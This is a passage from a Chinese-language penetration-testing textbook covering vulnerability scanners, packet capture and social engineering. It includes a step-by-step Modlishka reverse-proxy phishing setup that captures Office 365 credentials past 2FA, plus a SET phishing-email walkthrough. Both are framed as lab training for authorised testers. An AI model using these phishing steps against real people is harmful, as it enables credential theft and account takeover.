  1. 安装完成并登录到 OpenVAS 的用户界面后,您可以通过点击顶部导航栏上的“扫描”选项卡执行漏洞扫描。要执行新的扫描,您可以使用任务向导创建新任务按钮。这些按钮由魔杖(任务向导)和星号(创建新任务)表示。让我们创建一个任务,以便我们可以对 Metasploit 2 进行漏洞扫描。使用创建新任务功能,我们可以定义任务的名称并定义目标,如图 15所示。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 15:新的 OpenVAS 任务创建

  1. 一旦任务创建完成,您可以在任务的“操作”部分使用绿色播放图标来运行它。

  2. 任务完成后,您将看到一个仪表板,显示结果的高层视图。点击“报告”部分,如图 16所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 16:高层概述

  1. 一旦您在报告概述中,要查看扫描的完整报告,您需要点击扫描日期,如图 17所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 17:报告概述

  1. 现在,您将获得 OpenVAS 发现的所有漏洞的完整列表,如图 18所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 18:发现漏洞的报告

一旦您获得报告,您可以展开漏洞以查看其完整细节。OpenVAS 为您提供解决方案类型(如供应商修复或解决方法)和检测质量QoD)。

我鼓励您使用 OpenVAS 对自己的网络或主机执行漏洞扫描,以便更熟悉这个漏洞扫描器。

Nessus

Nessus 是市场上最受欢迎的漏洞扫描器之一。与其他漏洞扫描器一样,Nessus 包含了跨不同平台和协议的已知漏洞的数据库。Nessus 有付费版本(通常由渗透测试人员和内部安全部门用于执行漏洞扫描)和免费版本,称为 Nessus Home。在本书中,我们将使用 Nessus Home,它只能扫描几个 IP 地址。由于 Kali Linux 默认未安装 Nessus,我们需要安装它。

按照以下步骤执行:

  1. 转到www.tenable.com/products/nessus-home注册 Nessus Home 的激活码。注册完成后,您将有下载 Nessus 的选项。Nessus 下载页面的直接链接是www.tenable.com/downloads/nessus#download

  2. 根据您的 Kali Linux 架构下载标题为 Debian 6, 7, 8, 9/Kali Linux 1, 2017.3 AMD64 或 Debian 6, 7, 8, 9/Kali Linux 1, 2017.3 i386(32 位)的版本。尽管软件版本显示为 Kali Linux 的旧版本,但它将在本书中使用的当前版本(2019.1 版)中运行。

  3. 一旦下载了正确的版本,您可以通过导航到下载目录并使用dpkg -I命令在 Kali Linux 中安装它。安装应该相对快速。完成后,您将看到摘要,如图 19所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 19:Nessus 安装

  1. 通过运行/etc/init.d/nessusd startservice nessusd start命令启动 Nessus 扫描器,并使用内置于 Kali Linux 中的 Firefox ESR 导航到位于https://kali:8834的图形界面。

图形界面的 URL 可能在您的环境中有所不同。请注意安装完成后的摘要。

一旦 Nessus 启动并导航到管理员 URL,您将看到一些选项来创建新的用户帐户。帐户创建后,Nessus 将执行一些安装后任务,如安装插件。完成所有任务后,您将能够登录到管理员门户,如图 20所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 20:Nessus 管理员门户

让我们对 Metasploitable 2 虚拟机执行漏洞扫描(您在第一章中了解到的,渗透测试简介)。要启动并运行您的 Metasploitable 2 虚拟机,请使用您的超级管理程序打开metasploitable.vmx(在我的情况下,我正在使用 VMware Fusion)。一旦 Metasploitable 2 加载完成,使用默认用户名和密码msfadmin登录,并发出ifconfig命令以显示虚拟机的 IP 地址,如图 21所示。确保 Kali Linux 与 Metasploitable 在同一个虚拟网络上:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 21:Metasploitable 2 IP 地址

从 Nessus 管理员门户选择新的扫描。您将看到许多扫描模板。扫描模板是一组预定义的任务,您可以快速利用它们进行特定类型的扫描。一些模板仅在 Nessus 的付费许可版本中可用。对于我们的演示,我们将使用基本网络扫描模板。选择了这个模板后,我们将看到许多选项。

在“设置”选项卡中,在“常规”部分,我们将提供“名称”、“描述”和“目标”字段的输入,如图 22所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 22:Nessus 扫描常规配置

接下来我们要配置的部分是在“发现”部分下,我们将选择的扫描类型是端口扫描(常见端口)。之后,我们将选择“评估”并选择“扫描所有 Web 漏洞(复杂)”选项。最后,我们将点击“保存”。保存扫描后,您将被引导回主管理员页面,在那里您现在可以选择您保存的扫描,然后点击“启动”按钮。您的扫描现在将开始运行,过一会儿,您将看到输出,如图 23所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 23:Nessus 扫描结果

正如我们所看到的,Nessus 在 Metasploitable 2 中发现了许多漏洞。Nessus 按严重性对这些发现进行排序。Nessus 能够提供有关发现的详细信息。例如,通过查看一个关键发现,我们可以看到 Nessus 提供了有关可利用性的信息。它甚至进一步介绍了漏洞可以利用的内容,如图 24所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 24:Nessus 漏洞信息

您可以对 Metasploitable 2 和 3 虚拟机执行 Nessus 扫描。在第五章中,深入了解 Metasploit 框架,您将使用 Nessus 扫描 Metasploitable 3 虚拟机。

Nessus 和 OpenVAS 都是优秀的漏洞扫描工具。重要的是要注意,作为渗透测试人员,了解如何解释漏洞评估结果是一项关键技能。通常,需要手动验证结果,以确保您获得全面的图片并消除任何错误的阳性。

捕获流量

学习如何使用数据包捕获工具对于任何安全专业人员来说都是至关重要的。在本节中,我们将介绍两种数据包捕获工具:Wireshark(基于 GUI)和tcpdump(基于 CLI)。

在我们开始使用这些工具之前,让我们退一步来理解在进行渗透测试时为什么需要捕获流量。网络流量以数据包形式传输,每个数据包包含一些字段,其中包含它需要在网络中传输并执行某个功能所需的信息。进行数据包捕获(或数据包嗅探)将允许你查看数据包的结构,以及任何可用的数据。一些协议流量是未加密的,比如 FTP。这将允许你看到明文中的用户名和密码。

数据包嗅探是一种应用于计算机网络的窃听类型。你可以将其类比为电话窃听,其中一段对话被监听。

Wireshark

Wireshark 一直是全球许多用户进行数据包捕获的首选工具。它是一个跨平台工具,允许你进行数据包捕获和分析。

Wireshark 的一些主要特点如下:

  • 实时数据包捕获与分析(离线分析或即时分析)

  • 深度数据包检查

  • 诸如 SSL/TLS、IPSEC、SNMPv3、Kerberos、WPA/WPA2 等协议的解密支持

在 Wireshark 中,你有能力应用捕获过滤器显示过滤器。理解这两种过滤器之间的区别以及如何应用它们将帮助你捕获相关的数据包并过滤掉噪音。

捕获过滤器用于减少原始数据包捕获的大小,而显示过滤器用于过滤捕获的内容并只显示特定数据。捕获过滤器在捕获开始前应用,不能在捕获过程中更改。另一方面,显示过滤器可以随时应用。

一些捕获过滤器可以非常基本和简单。让我们看几个例子:

  • 捕获特定主机的流量如下:
host 192.168.90.1
  • 捕获特定子网的流量如下:
net 192.168.90.0/24
  • 一些捕获过滤器可以很复杂,比如用于检测心脏出血漏洞的过滤器:
tcp src port 443 and (tcp[((tcp[12] & 0xF0) >> 4 ) * 4] = 0x18) and (tcp[((tcp[12] & 0xF0) >> 4 ) * 4 + 1] = 0x03) and (tcp[((tcp[12] & 0xF0) >> 4 ) * 4 + 2] < 0x04) and ((ip[2:2] - 4 * (ip[0] & 0x0F)  - 4 * ((tcp[12] & 0xF0) >> 4) > 69))

显示过滤器也可以是基本的。让我们看几个例子:

  • 显示特定源和目的地之间通信的流量如下:
ip.src==192.168.90.0/24 and ip.dst==192.168.90.1
  • 查找特定端口的流量使用以下命令:
tcp.port eq 445 

在下面的截图(图 25)中,我标记了定义显示和捕获过滤器的字段:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 25:显示和捕获过滤器

Wireshark 有能力显示未加密流量中的明文凭据。例如,在捕获 Telnet 流量时,我们可以使用 Follow | TCP Stream 来跟踪 TCP 流,如图 26所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 26:使用 Follow | TCP Stream

请注意,通过使用 Follow | TCP Stream 选项,我们能够看到明文中的用户名和密码,如图 27所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 27:明文的 FTP 凭证

前面的捕获来自packetlife.net/captures。你可以在packetlife.net/captures/Wireshark找到更多可以免费下载以测试 Wireshark 功能的数据包捕获。

使用 Wireshark 的图形界面使得处理数据包捕获更容易。然而,如果你无法使用 Wireshark,那么你需要知道如何利用命令行数据包捕获工具如tcpdump

tcpdump

tcpdump是最广泛使用的数据包捕获实用程序。它在 Linux/Unix 操作系统上可用,这意味着它在 Kali Linux 中默认安装。它有能力将捕获保存到.pcap文件并读取.pcap文件。

tcpdump有许多开关可以使用。它的一些常见开关如下:

  • tcpdump -d:显示接口列表

  • tcpdump -i [interface]:指定要在其上执行数据包捕获的接口

  • tcpdump -c:指定要捕获的数据包数量

  • tcpdump -w /path:定义tcpdump应写入的文件

  • tcpdump -r /path:读取捕获文件

  • tcpdump -XX:以 ASCII 或 HEX 格式捕获数据包

以下是使用tcpdump捕获 FTP 流量的实际示例。使用tcpdump,您可以看到明文中的用户名和密码,如图 28所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 28:明文登录详细信息

您可以通过使用一个公开可访问的ftp服务器来复制前面的测试,该服务器用于速度测试。URL 是speedtest.tele2.net

总结

在本章中,我们看了信息收集和漏洞扫描。我们定义了主动和被动信息收集之间的区别。我们通过各种工具来进行被动和主动信息收集,并介绍了漏洞扫描所需的工具。最后,我们使用图形和命令行工具进行了数据包捕获。

您现在可以使用开源情报进行信息收集,这是被动信息收集。您已经学会了如何使用 Nmap 进行主动信息收集,以及如何利用 Nmap 脚本引擎。您已经掌握了使用漏洞扫描器(如 OpenVAS 和 Nessus)的必要技能,并知道如何执行漏洞扫描以规划攻击。数据包捕获教会了您如何嗅探网络中的流量,以及如何从不安全的协议中获取有价值的信息。

在下一章(第四章,精通社会工程)中,我们将看看什么是社会工程以及您可以使用哪些不同工具来执行社会工程。我们将利用 Kali Linux 中的内置工具,以及一些需要安装的其他工具。

问题

  1. 被动信息收集和主动信息收集之间有什么区别?

  2. 列出两种可用于被动信息收集的工具。

  3. Nmap 如何从传统端口扫描器发展而来?

  4. 列出两种漏洞扫描器。

  5. 为什么您需要知道如何执行数据包捕获?

第四章:掌握社会工程

渗透测试并不总是涉及使用计算机和利用漏洞。在本章中,我们将学习如何掌握社会工程的艺术,这是每个渗透测试人员都应该具备的技能。社会工程可能很复杂,因为你试图使用心理操纵来影响目标的思维。

在本章中,你将受益于了解什么是社会工程,社会工程的不同类型以及可以用来执行社会工程的工具。通过学习如何使用 Kali Linux 内的工具构建社会工程攻击,你将获得技能。通过继续探索和巩固你的社会工程技能,你可以构建一种社会攻击,如果对目标执行得当,可以通过最小的软件漏洞实现你的目标。

随着你在本章的学习过程中,你将了解以下主题:

  • 什么是社会工程?

  • 社会工程工具

  • 创建社会工程活动

技术要求

本章需要以下技术要求:

  • Kali Linux 2019.1

什么是社会工程?

社会工程可以被定义为一种心理操纵形式,说服一个人放弃机密信息。这是一种利用欺骗和欺诈而不是使用任何类型的软件漏洞的网络攻击形式。当然,软件参与了构建社会工程攻击,但主要组成部分是你如何欺骗目标相信你所做的是合法的。

软件和人类实际上并没有那么不同。你可能想知道人类和软件如何如此相似。当涉及到软件和人类的漏洞时,攻击者可以利用这些漏洞来获取他们想要的东西。与软件相关的漏洞通常是被利用的,这导致了软件的缺陷,攻击者可以利用这些缺陷。

对于人类来说,我们的本性使得人们很容易利用心理操纵来攻击其他人。人类有各种情感,这让我们与其他生物有所不同。然而,其中一些情感是社会工程攻击的主要目标。例如,我们有以下情感特征:

  • 帮助他人

  • 信任他人

  • 恐惧

  • 服从权威

社会工程攻击利用我们情感的脆弱性,说服我们执行某种活动,比如点击欺诈链接、访问恶意网站或打开恶意文件。

大多数组织都在培训员工有关社会工程方面投入了大量的精力,但遗憾的是,有些组织没有这样做。无论设置了什么安全控制措施,最终用户最终都将能够访问可能对组织造成伤害的敏感信息。好奇心会导致一个人捡起地上的 USB 并插入,看看里面有什么。在目标组织周围放置感染的 USB 存储设备是一种常见的渗透测试技术,攻击者也会使用这种方法。

社会工程有许多形式,让我们来探索其中一些。

假设

假设可以被定义为以他人身份出现,目的是获取信息的做法。假设者可以冒充同事、IT 人员、银行家、朋友和家人,或者任何被视为值得信赖或对目标有权威的人。

假设形成了任何社会工程攻击的基础。当你进行渗透测试时,确保你花足够的时间建立一个坚实可信的假设。

例如,我们都收到过声称我们继承了一笔小财富的电子邮件,但为了领取它,我们需要提供某种信息或点击一个链接。一个人上当的机会非常渺茫,因为借口非常差。假设您总是在亚马逊上网购,现在您收到了一封来自亚马逊的邮件,声称由于缺少信息无法交付包裹。这样的借口更加可信。

在渗透测试期间,您可能需要模拟社会工程攻击。对目标进行适当的信息收集对构建一个可信的借口至关重要。您需要考虑的一些事情包括公司规模、地点、员工人数、电子邮件、员工信息等。您还需要考虑从技术角度来看有哪些可用的东西,比如面向公众的网络服务器、VPN 和电子邮件服务器。

一旦您获得足够的信息,您可以开始为每个借口定义成功的标准。例如,如果目标组织在全国范围内没有分布办公室,那么假扮成员工的成功几率就很低,因为员工可能是众所周知的。然而,如果该组织在多个国家拥有大量业务,您就有更高的成功率,可以假扮成另一个地点部门的员工。

网络钓鱼

网络钓鱼是一种网络攻击,攻击者使用伪装的电子邮件从目标那里获取敏感信息。获取的信息可以是信用卡详细信息、用户登录信息、网络凭证等任何东西。这种类型的攻击针对个人和大型组织。您可能已经在个人电子邮件中收到了许多网络钓鱼邮件,因为这些攻击是在非常大的规模上进行的。在这种类型的攻击中,攻击者对任何特定的人都不感兴趣。他们只是在广泛地投网,以说服任何不起疑的人提供有价值的信息。

一些网络钓鱼邮件的常见特征如下:

  • 附件:您经常会在声称包含发票或文件的电子邮件中发现附件。这些通常包含一个宏,其中包含一个可以释放远程 shell 的有效负载,使攻击者可以访问您的计算机,甚至释放勒索软件等恶意软件。最近,一些这样的邮件包含.html文件,通常是.doc.js格式。这些文件的杀毒软件检测率较低,因为它们通常不与电子邮件攻击相关联。当然,随着杀毒软件的成熟,攻击者的策略也在不断发展。

  • 超链接:一些网络钓鱼邮件可能包含一个链接,将您重定向到一个看起来合法的网站。常见的网络钓鱼邮件类型包括要求您重置密码,或者确认您的详细信息以避免您的帐户被禁用等。通常,当您将鼠标悬停在链接上时,您会看到实际的 URL,这并非合法,但随着攻击者策略的成熟,他们开始使用看起来非常类似于合法的 URL。例如,www.facebook.com/可能被描述为www.faccebook.comwww.faceboook.com,如果您不仔细观察,很容易被忽略。

  • 好得令人难以置信:许多网络钓鱼邮件中都有旨在吸引人们注意的陈述。这些通常与诱人的优惠有关,比如赢得设备、彩票,或者从远亲那里继承一笔小财富。要记住的一件事是,如果看起来太好以至于难以置信,那可能就是如此。

网络钓鱼工具包在暗网上很容易获得。这些工具包的可用性使得具有最低技能的攻击者可以轻松发动网络钓鱼攻击。网络钓鱼工具包捆绑了网站资源和工具,可以直接安装在服务器上。一旦安装完成,攻击者只需向受害者发送电子邮件,将他们引导到网络钓鱼网站。

要及时了解当前的网络钓鱼链接,请查看 OpenPhish(openphish.com)和 PhishTank(www.phishtank.com)上托管的网络钓鱼信息。

鱼叉式网络钓鱼

鱼叉式网络钓鱼是针对特定个人、部门或公司的网络攻击,看起来来自一个可信任的来源。这种类型的攻击很难被发现,经过深思熟虑,通常在进行此类攻击之前会对目标进行深入研究。这不像普通的网络钓鱼攻击,攻击者会广泛投放网,鱼叉式网络钓鱼是一种有针对性的攻击。

鱼叉式网络钓鱼攻击的核心组成部分是信息收集。收集有关电子邮件地址、人员以及他们在目标组织内的职位的信息(使用 LinkedIn 等 OSINT 工具)将有助于您确定您的目标和您可以冒充的人。正如我们在第三章中所学到的,执行信息收集,开源情报可以为您提供关于目标的大量信息。

一些常见的鱼叉式网络钓鱼攻击特征如下:

  • 商业电子邮件欺诈(BEC):这旨在滥用诸如工资单或发票之类的流程。攻击将利用来自可靠来源(在from字段内)的电子邮件,并包含与发票相关的文件。对于普通人来说,看起来一切正常,他们会打开那张发票,最终暴露他们的系统受到攻击。

  • 多向威胁:这种攻击使用多种攻击向量。例如,鱼叉式网络钓鱼电子邮件将包含动态 URL、恶意下载和文档中编码的有效负载,以避免被检测。

  • 几乎无法检测:由于精心制作的鱼叉式网络钓鱼电子邮件没有大量普通网络钓鱼电子邮件中的特征,使得它更难以被传统的声誉和垃圾邮件过滤器检测到。

  • 鲸鱼式网络钓鱼:在这种类型的攻击中,鱼叉式网络钓鱼活动针对的是高调目标,通常是组织中的高管。高调人士通常比普通人拥有更多的特权信息,这使得他们成为主要目标。在鲸鱼式攻击中窃取的任何信息在黑市上都更有价值,除了攻击者可以使用的特权凭证的可能性之外。

尾随

尾随(也称为搭便车)是一种身体社会工程学形式。尾随可以被定义为未经授权的人跟随经过授权的人进入安全区域的一种物理安全漏洞。

一种常见的尾随类型可能是有人在一个公共区域等待,双手拿满了东西,等待一个授权人员打开一个受控门。在这段时间里,未经授权的人可能会请求他们把门打开,然后他们就可以冲进去。其他形式可能包括在一个公共吸烟区与员工攀谈。等到员工吸完烟,他们很可能会为您开门,假装是员工。人类有常见的礼貌,这可能导致漏洞,比如为未经授权的人开门。

一些组织在物理安全方面做得很好,所以这种方法可能并不适用于所有地方。然而,对目标的物理安全进行充分的信息收集将有助于您计划攻击。

在执行渗透测试时,您可以利用上述任何技术。对每种技术的良好背景了解将有助于您更有效地规划渗透测试。

社会工程工具

互联网上有许多社会工程学工具包可供使用。有些用于执行社会工程任务以形成意识,而其他一些则在暗网上出售以恶意目的。我们不会专注于暗网上的社会工程工具,因为这超出了本书的范围,但我们将看看 Kali Linux 中可用的工具以及您可以安装的其他工具。

社会工程工具包(SET)

社会工程工具包(SET)是一套工具,允许您在进行渗透测试时专注于人的因素。社会工程工具包的主要目的是创建您可以使用的社会工程攻击。该工具是一个由 Python 驱动的工具,目前在 Linux 上受支持。撰写本文时,它正在 macOS 的实验阶段。

社会工程工具包允许您创建多种社会工程攻击。撰写本文时,包括以下攻击:

  • 鱼叉式网络钓鱼攻击:允许您创建电子邮件网络钓鱼活动。

  • 网站攻击:允许您创建网站克隆等攻击。

  • 传染性媒体生成器:可创建可用于 USB 设备的自动运行。

  • 创建有效载荷和监听器:创建反向 shell 有效载荷,允许访问目标机器。

  • 大规模邮件攻击:创建可发送给大量受众的网络钓鱼邮件。

  • 基于 Arduino 的攻击:允许您利用 Arduino 设备(如 Teensy)创建攻击。插入 PC 时,它被检测为键盘,允许将漏洞传递到目标机器。

  • 无线接入点攻击:允许创建恶意无线接入点,并允许您拦截通过的流量。

  • QR 码生成器攻击:生成您指定的任何 URL 的 QR 码。这对将目标重定向到恶意 URL 很有用。

  • Powershell 攻击:创建基于 Powershell 的攻击,可用于执行盲目 shell 或转储 SAM 数据库。

  • 短信欺骗攻击:创建可用于社会工程目标的短信。

撰写本文时,社会工程工具包的当前版本为8.0。Kali Linux 2019.1 中预安装的版本为7.7.9

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 1:Kali 2019.1 中预安装的版本

要升级到最新版本,您需要从 TrustedSec GitHub 存储库下载最新版本,该存储库位于github.com/trustedsec/social-engineer-toolkit

下载完成后,您可以将文件夹的内容从.zip文件提取到/usr/share/set以覆盖必要的文件。完成后,您将能够通过在 Kali Linux 中的终端窗口中运行setoolkit命令来启动最新版本。

社会工程工具包具有大量功能,可用于您的渗透测试。探索它提供的各种技术将有助于您制定有效的网络钓鱼活动。社会工程工具包预装在 Kali Linux 2019.1 中。您可以在终端窗口中使用setoolkit命令访问它。

Gophish

Gophish 是一个开源框架,可用于进行钓鱼活动。它专为企业和渗透测试人员设计。Gophish 是跨平台的,因此您可以在 Windows、macOS 和基于 Linux 的操作系统上运行此工具。Gophish 具有图形界面,使构建钓鱼活动变得简单易行。您可以构建一个活动并安排在您喜欢的时间启动。

Gophish 的一些主要特点如下:

  • 使用模板并创建自己的模板的能力

  • 克隆网站并定义着陆页面

  • 捕获凭证

  • 安排活动

  • 创建有关钓鱼活动的报告

Gophish 未预装在 Kali Linux 中,可在此处下载:github.com/gophish/gophish/releases

Modlishka

Modlishka 将钓鱼活动提升到一个新的水平。它是一个灵活而强大的反向代理,为钓鱼攻击提供了高度自动化。

Modlishka 的目标是做到以下几点:

  • 更加关注进行有效的钓鱼活动的渗透测试人员,以显示钓鱼是一个严重的威胁

  • 查看当前双因素认证2FA)的弱点,并突出这些弱点,以便可以制定解决方案

  • 提高对钓鱼技术的认识

Modlishka 的独特之处在于不需要模板。在其他社会工程工具中,您需要使用模板,甚至构建自己的模板。Modlishka 通过反向代理工作,以便目标网站可以实时打开。

Modlishka 的一些主要特点如下:

  • 支持大多数 2FA 方案

  • 无需创建网站模板,只需将 Modlishka 指向目标域名

  • TLS 源流完全由目标浏览器控制

  • 钓鱼场景易于配置和灵活

  • 能够使用基于模式的 JavaScript 负载注入

  • 剥离加密和安全标头的能力

  • 凭证收集

  • 插件支持

安装 Modlishka 需要Go语言。Go 语言是由 Google 开发的开源编程语言。它使用类似脚本语言的语法,因此易于构建简单、可靠和高效的软件。

我们将在本章后面介绍 Modlishka 的安装。

Wifiphisher

钓鱼不仅涉及特制的电子邮件和附件。WiFi 接入点可以用来对目标发起钓鱼攻击。有大量的无线网络可用,其中许多是开放的,提供免费的互联网访问。Wifiphisher 是一个工具,允许您对无线网络进行自动化的钓鱼攻击,以窃取凭证或释放恶意软件等有效载荷。Wifiphisher 能够使用现代攻击技术,如 KARMA、已知信标和恶意双胞胎:

  • 已知信标:此技术允许 Wifiphisher 广播已知的 ESSIDs

  • KARMA:这是一种技术,Wifiphisher 伪装成公共网络

  • 恶意双胞胎:此技术创建了恶意访问点

Wifiphisher 的一些主要特点如下:

  • 能够在树莓派等设备上运行。

  • 它非常灵活,支持多种参数,并使用社区驱动的钓鱼模板,可用于各种场景。

  • 它允许您编写基于 Python 的简单或复杂模块。Wifiphisher 允许您编写自定义的钓鱼场景,可以在有针对性的渗透测试中利用。

  • 它很简单使用,因为它允许您运行./bin/wifiphisher命令。这将启动一个交互式文本界面,帮助您构建攻击。

以下截图显示了可用的钓鱼场景列表:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 2:Wifiphisher 中可用的钓鱼场景列表

在撰写本文时,Wifiphisher 目前仅在 Linux 上受支持,Kali Linux 是其官方支持的发行版。为了使用 Wifiphisher,您必须拥有一个能够进行数据包注入并支持监视模式的无线网络卡。我们将在第九章中深入探讨这一点,即*开始无线攻击**。***Wifiphisher 不是 Kali Linux 2019.1 的默认安装程序。

可以使用以下命令安装 Wifiphisher:

apt-get install Wifiphisher 

创建社会工程活动

让我们来看看为渗透测试创建一个社会工程活动。在这个活动中,我们将使用 Modlishka 针对 Office 365 用户进行目标定向。

安装 Modlishka

为了使用 Modlishka,我们需要在 Kali Linux 中安装 Go 语言。执行以下步骤进行安装:

  1. 在 Kali Linux 的终端窗口中,发出apt-get install golang命令。这将安装 Go 语言。我们需要使用export GOPATH=$HOME/Downloads/GO命令定义一个GOPATH。为了确认我们设置的路径,我们可以使用echo $GOPATH命令:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 3:安装 Go 并定义 GOPATH

  1. 接下来,我们需要将 Modlishka 下载到GO文件夹中。我们通过运行go get -u github.com/drk1wi/Modlishka命令来实现这一点。这将开始将 Modlishka 下载到我们在步骤 1中定义的GO文件夹中。如果您使用了前面的命令,那么您的 Modlishka 安装将位于/root/Downloads/go/src/github.com/drk1wi/Modlishka中:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 4:下载 Modlishka

  1. 现在,我们需要创建 SSL 证书。或者,您可以使用已与您的钓鱼域相关联的证书。在我们创建证书之前,我们需要生成 RSA 私钥。这可以使用openssl genrsa -out ModlishkaCA.key 2048命令完成。在这里,我们生成一个2048位的密钥:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 5:生成 RSA 私钥

  1. 接下来,我们使用在步骤 3中创建的密钥生成证书。为了创建证书,我们使用openssl req -x509 -new -nodes -key ModlishkaCA.key -sha256 -days 1024 -out ModlishkaCA.pem命令。输入命令后,您将被提示提供有关证书的详细信息。

在这些字段中,您将填写与您要对其执行钓鱼攻击的目标域中所做的类似的详细信息。记得将此证书导入您将用于钓鱼活动的服务器中。在这个演示案例中,我已经将其导入到 Kali Linux 上的 Firefox ESR 中:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 6:生成 SSL 证书

  1. 现在,您需要将密钥和证书导入 Modlishka 证书配置文件。您可以使用任何文本编辑器打开ModlishkaCA.pemModlishkaCA.key文件。认证配置文件位于GO文件夹中。如果您使用了前面的命令,那么它将位于/root/Downloads/go/src/github.com/drk1wi/Modlishka/plugin/autocert.go中。

  2. 您需要将CA CERT =CA CERT KEY =字段的值分别替换为ModlishkaCA.pemModlishkaCA.key。确保您将每个文件中的数据粘贴在引号内:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 7:粘贴证书和密钥文件数据

  1. 导入证书后,您需要使用make命令编译工具:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 8:运行 Modlishka 中 make 命令的输出

现在,该工具已准备好使用。我们将使用默认安装在/templates文件夹中的模板。为了演示的目的,钓鱼网址将保留在 Kali Linux 本地。

在真实的渗透测试中,您可以修改模板文件或创建自己的模板文件。您需要修改字段,如phishingDomainlistening portlisteningAddresstarget等。在此演示中,我们将使用office365.json模板,不做任何更改:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 9:Office365.json 模板配置

这就完成了 Modlishka 的设置。现在,我们将继续使用 Modlishka 执行钓鱼攻击。

执行攻击

以下步骤演示了如何使用 Modlishka 执行钓鱼攻击:

  1. 现在 Modlishka 已经设置好,让我们使用 Office 365 模板启动程序。可以使用./dist/proxy -config templates/office365.json命令启动 Modlishka。请注意,一旦工具启动,它将为您提供代理地址。如果您已经按照上一节中的步骤进行操作,我们没有定义任何地址,而是使用内置的https://loopback.modlishka.io

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 10:Modlishka 反向代理已启动

  1. 现在,我们可以像用户一样执行登录。我使用了我目前拥有的演示 Office 365 租户。在下面的屏幕截图中,您将注意到呈现的页面是 Office 365 登录页面,但请注意 URL。为了说明的目的,我将其保留为默认的loopback.modlishka.io,但是当您在渗透测试中执行钓鱼攻击时,您将需要拥有一个与目标几乎相同的域名:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 11:Office 365 登录页面通过 Modlishka 代理

登录过程的工作方式就好像用户正在登录 Office 365 一样,因为用户实际上正在登录 Office 365。Modlishka 充当流量的代理,以便我们可以拦截任何凭据。输入密码后,用户将收到一个 2FA 提示来批准登录。请注意背景窗口中的rewriteResponses

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 12:2FA 通过 Modlishka 代理

  1. 一旦用户批准登录请求,就可以访问 Office 365,并且用户可以继续正常工作。让我们看看 Modlishka 在日志文件中能够检测到什么。在 JSON 配置文件中,我们使用字符串"log": "ms.log"定义了日志文件的名称。这将位于 Modlishka 文件夹的根目录中。通过使用基本的连接命令来查找字段,如"login=""passwd=",我们可以看到用户的凭据以纯文本形式显示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 13:纯文本中的凭据

用户名中的%40是 HTML 字符集代码,将被转换为"@"符号。

使用 SET 创建钓鱼攻击

让我们使用社会工程工具包SET)执行简单的钓鱼攻击:

  1. 从终端窗口中,键入setoolkit命令以启动社会工程工具包。

  2. 工具包加载后,我们需要选择选项 5,大规模邮件发送攻击,然后选择选项 1,单个电子邮件地址的电子邮件攻击

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 14:选择大规模邮件发送攻击

  1. 接下来,我们将定义电子邮件的参数。在这里,您可以指定源地址和发件人和收件人的名称,以及附加恶意文件等内容。我们不会附加文件,而是使用恶意的钓鱼链接。该链接是为了说明目的而输入的,但该链接不存在。填写完所有字段后,电子邮件将被发送:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 15:定义钓鱼电子邮件的参数

互联网上有许多开放中继邮件服务器。您可以使用MailgunSendGrid等服务在自己的环境中进行测试。

请注意,电子邮件已经在目标邮箱中按照我们定义的参数接收到了:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 16:目标邮箱中收到的恶意电子邮件

社会工程工具包有很多提供,了解各种选项以及如何使用它们将有助于您在渗透测试中计划您的钓鱼活动。请在您自己的实验室环境中探索各种选项。

总结

社会工程实际上归结为利用人类信任他人的本性。它使用依赖于人类弱点而不是软件或硬件弱点的技术。互联网上有许多社会工程工具可供您利用,以便在您的渗透测试中发起社会工程攻击。

在本章中,您已经了解了社会工程学是什么,以及各种类型的社会工程学。我们强调了每种技术的主要特点,并看了看您可以在哪里找到当前存在的最新钓鱼链接的存储库。我们看了一些可以用来创建社会工程活动的常见工具,并致力于创建一个针对 Office 365 的活动。

在下一章(第五章,深入了解 Metasploit 框架)中,我们将开始使用 Metasploit。我们将看看 Metasploit 是什么,您可以用它实现什么,以及如何使用 Metasploit 中的各种漏洞。

问题

  1. 什么是社会工程学?

  2. 社会工程学依靠什么来进行成功的攻击?

  3. 构建社会工程攻击的一个重要基础步骤是什么?

  4. 列举两种社会工程攻击类型。

  5. Modlishka 独有的工具是什么?

第五章:深入了解 Metasploit Framework

Metasploit Framework 是一个使攻击目标机器变得简单的渗透测试平台。它是任何渗透测试人员工具包中不可或缺的直观工具。它由 Rapid7 维护,但在安全社区中有许多贡献者。

